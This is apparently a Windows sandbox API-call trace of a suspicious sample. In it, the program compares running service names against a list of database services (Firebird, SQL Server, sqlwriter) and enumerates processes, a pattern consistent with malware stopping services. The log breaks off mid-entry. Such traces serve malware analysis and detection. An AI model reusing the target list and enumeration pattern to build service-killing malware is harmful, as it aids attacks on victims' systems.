[0176.033] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0176.033] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0176.033] lstrlenW (lpString="SamSs") returned 5 [0176.033] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0176.033] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0176.033] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0176.033] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0176.034] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0176.037] lstrlenW (lpString="Schedule") returned 8 [0176.037] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0176.037] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0176.037] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0176.037] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0176.037] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0176.037] lstrlenW (lpString="SecurityHealthService") returned 21 [0176.037] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0176.037] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 [0176.037] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0176.037] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0176.037] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0176.037] lstrlenW (lpString="SENS") returned 4 [0176.037] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0176.037] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0176.037] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0176.037] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0176.037] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0176.037] lstrlenW (lpString="ShellHWDetection") returned 16 [0176.037] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0176.037] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0176.037] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0176.037] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0176.037] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0176.037] lstrlenW (lpString="Spooler") returned 7 [0176.038] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0176.038] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0176.038] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0176.038] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0176.038] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0176.038] lstrlenW (lpString="SSDPSRV") returned 7 [0176.038] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SSDPSRV") returned -1 [0176.038] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SSDPSRV") returned -1 [0176.038] lstrcmpiW (lpString1="sqlwriter", lpString2="SSDPSRV") returned -1 [0176.038] lstrcmpiW (lpString1="mssqlserver", lpString2="SSDPSRV") returned -1 [0176.038] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SSDPSRV") returned -1 [0176.038] lstrlenW (lpString="StateRepository") returned 15 [0176.038] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1 [0176.038] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1 [0176.038] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1 [0176.038] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1 [0176.039] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x43806e8 | out: hHeap=0x790000) returned 1 [0176.039] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x318 [0176.042] Process32FirstW (in: hSnapshot=0x318, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0176.042] Process32NextW (in: hSnapshot=0x318, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6c, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0176.043] lstrlenW (lpString="System") returned 6 [0176.043] Process32NextW (in: hSnapshot=0x318, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x144, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0176.044] lstrlenW (lpString="smss.exe") returned 8 [0176.052] Process32NextW (in: hSnapshot=0x318, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x19c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x194, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0176.052] lstrlenW (lpString="csrss.exe") returned 9 [0176.052] Process32NextW (in: hSnapshot=0x318, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x194, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0176.053] lstrlenW (lpString="wininit.exe") returned 11 [0176.053] Process32NextW (in: hSnapshot=0x318, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1e4, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0176.054] lstrlenW (lpString="csrss.exe") returned 9 [0176.054] Process32NextW (in: hSnapshot=0x318, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x234, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1e4, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0176.055] lstrlenW (lpString="winlogon.exe") returned 12 [0176.055] Process32NextW (in: hSnapshot=0x318, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1ec, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0176.055] lstrlenW (lpString="services.exe") returned 12 [0176.055] Process32NextW (in: hSnapshot=0x318, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x258, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1ec, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0176.056] lstrlenW (lpString="lsass.exe") returned 9 [0176.056] Process32NextW (in: hSnapshot=0x318, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0176.057] lstrlenW (lpString="svchost.exe") returned 11 [0176.057] Process32NextW (in: hSnapshot=0x318, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x234, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0176.057] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0176.057] Process32NextW (in: hSnapshot=0x318, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0176.058] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0176.058] Process32NextW (in: hSnapshot=0x318, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0176.059] lstrlenW (lpString="svchost.exe") returned 11 [0176.059] Process32NextW (in: hSnapshot=0x318, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x374, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x234, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0176.059] lstrlenW (lpString="dwm.exe") returned 7 [0176.059] Process32NextW (in: hSnapshot=0x318, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x59, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0176.060] lstrlenW (lpString="svchost.exe") returned 11 [0176.060] Process32NextW (in: hSnapshot=0x318, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0176.061] lstrlenW (lpString="svchost.exe") returned 11 [0176.061] Process32NextW (in: hSnapshot=0x318, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0176.062] lstrlenW (lpString="svchost.exe") returned 11 [0176.062] Process32NextW (in: hSnapshot=0x318, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x12c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0176.063] lstrlenW (lpString="svchost.exe") returned 11 [0176.063] Process32NextW (in: hSnapshot=0x318, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x170, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x24, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0176.063] lstrlenW (lpString="svchost.exe") returned 11 [0176.063] Process32NextW (in: hSnapshot=0x318, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0176.064] lstrlenW (lpString="svchost.exe") returned 11 [0176.064] Process32NextW (in: hSnapshot=0x318, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0176.065] lstrlenW (lpString="svchost.exe") returned 11 [0176.065] Process32NextW (in: hSnapshot=0x318, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x530, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0176.065] lstrlenW (lpString="svchost.exe") returned 11 [0176.066] Process32NextW (in: hSnapshot=0x318, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x538, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0176.066] lstrlenW (lpString="svchost.exe") returned 11 [0176.066] Process32NextW (in: hSnapshot=0x318, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0176.067] lstrlenW (lpString="spoolsv.exe") returned 11 [0176.067] Process32NextW (in: hSnapshot=0x318, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0176.068] lstrlenW (lpString="svchost.exe") returned 11 [0176.068] Process32NextW (in: hSnapshot=0x318, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x684, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0176.068] lstrlenW (lpString="svchost.exe") returned 11 [0176.068] Process32NextW (in: hSnapshot=0x318, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x4fc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0176.069] lstrlenW (lpString="audiodg.exe") returned 11 [0176.069] Process32NextW (in: hSnapshot=0x318, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0176.070] lstrlenW (lpString="sihost.exe") returned 10 [0176.070] Process32NextW (in: hSnapshot=0x318, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x718, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0176.070] lstrlenW (lpString="svchost.exe") returned 11 [0176.070] Process32NextW (in: hSnapshot=0x318, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0176.071] lstrlenW (lpString="taskhostw.exe") returned 13 [0176.071] Process32NextW (in: hSnapshot=0x318, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0176.072] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0176.072] Process32NextW (in: hSnapshot=0x318, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x55c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0176.072] lstrlenW (lpString="SecurityHealthService.exe") returned 25 [0176.073] Process32NextW (in: hSnapshot=0x318, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x860, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3f, th32ParentProcessID=0x834, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0176.073] lstrlenW (lpString="explorer.exe") returned 12 [0176.073] Process32NextW (in: hSnapshot=0x318, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0176.074] lstrlenW (lpString="Memory Compression") returned 18 [0176.074] Process32NextW (in: hSnapshot=0x318, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0176.075] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0176.075] Process32NextW (in: hSnapshot=0x318, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb58, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0176.075] lstrlenW (lpString="SearchUI.exe") returned 12 [0176.075] Process32NextW (in: hSnapshot=0x318, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbf4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0176.076] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0176.077] Process32NextW (in: hSnapshot=0x318, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0176.077] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0176.077] Process32NextW (in: hSnapshot=0x318, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfb8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0176.078] lstrlenW (lpString="taskhostw.exe") returned 13 [0176.078] Process32NextW (in: hSnapshot=0x318, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfe0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="DeviceCensus.exe")) returned 1 [0177.081] lstrlenW (lpString="DeviceCensus.exe") returned 16 [0177.081] Process32NextW (in: hSnapshot=0x318, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfe8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="UNPCampaignManager.exe")) returned 1 [0177.082] lstrlenW (lpString="UNPCampaignManager.exe") returned 22 [0177.082] Process32NextW (in: hSnapshot=0x318, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="AppHostRegistrationVerifier.exe")) returned 1 [0177.083] lstrlenW (lpString="AppHostRegistrationVerifier.exe") returned 31 [0177.083] Process32NextW (in: hSnapshot=0x318, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x384, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xfe0, pcPriClassBase=6, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0177.083] lstrlenW (lpString="conhost.exe") returned 11 [0177.083] Process32NextW (in: hSnapshot=0x318, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x788, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="screensaver.exe")) returned 1 [0177.084] lstrlenW (lpString="screensaver.exe") returned 15 [0177.084] Process32NextW (in: hSnapshot=0x318, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="upperarc.exe")) returned 1 [0177.085] lstrlenW (lpString="upperarc.exe") returned 12 [0177.085] Process32NextW (in: hSnapshot=0x318, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd24, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="buying.exe")) returned 1 [0177.085] lstrlenW (lpString="buying.exe") returned 10 [0177.085] Process32NextW (in: hSnapshot=0x318, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd5c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="downloadable.exe")) returned 1 [0177.086] lstrlenW (lpString="downloadable.exe") returned 16 [0177.086] Process32NextW (in: hSnapshot=0x318, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="guests_production_meanwhile.exe")) returned 1 [0177.087] lstrlenW (lpString="guests_production_meanwhile.exe") returned 31 [0177.087] Process32NextW (in: hSnapshot=0x318, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="deemed-shirts.exe")) returned 1 [0177.088] lstrlenW (lpString="deemed-shirts.exe") returned 17 [0177.088] Process32NextW (in: hSnapshot=0x318, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd88, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="mugwritesheroes.exe")) returned 1 [0177.089] lstrlenW (lpString="mugwritesheroes.exe") returned 19 [0177.089] Process32NextW (in: hSnapshot=0x318, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="swapdamelooked.exe")) returned 1 [0177.089] lstrlenW (lpString="swapdamelooked.exe") returned 18 [0177.089] Process32NextW (in: hSnapshot=0x318, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb6c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="moments.exe")) returned 1 [0177.090] lstrlenW (lpString="moments.exe") returned 11 [0177.090] Process32NextW (in: hSnapshot=0x318, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xddc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="geo-sector-antonio.exe")) returned 1 [0177.091] lstrlenW (lpString="geo-sector-antonio.exe") returned 22 [0177.091] Process32NextW (in: hSnapshot=0x318, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdb0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="stream-test.exe")) returned 1 [0177.097] lstrlenW (lpString="stream-test.exe") returned 15 [0177.097] Process32NextW (in: hSnapshot=0x318, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa6c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="crestboatingstuffed.exe")) returned 1 [0177.098] lstrlenW (lpString="crestboatingstuffed.exe") returned 23 [0177.098] Process32NextW (in: hSnapshot=0x318, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa78, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="wrist_exhaust.exe")) returned 1 [0177.098] lstrlenW (lpString="wrist_exhaust.exe") returned 17 [0177.098] Process32NextW (in: hSnapshot=0x318, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc6c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="movers-indication.exe")) returned 1 [0177.099] lstrlenW (lpString="movers-indication.exe") returned 21 [0177.099] Process32NextW (in: hSnapshot=0x318, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x910, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="drama tv thee.exe")) returned 1 [0177.100] lstrlenW (lpString="drama tv thee.exe") returned 17 [0177.100] Process32NextW (in: hSnapshot=0x318, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdf0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="barriers.exe")) returned 1 [0177.113] lstrlenW (lpString="barriers.exe") returned 12 [0177.113] Process32NextW (in: hSnapshot=0x318, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd9c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="shootclick.exe")) returned 1 [0177.113] lstrlenW (lpString="shootclick.exe") returned 14 [0177.113] Process32NextW (in: hSnapshot=0x318, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x200, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, 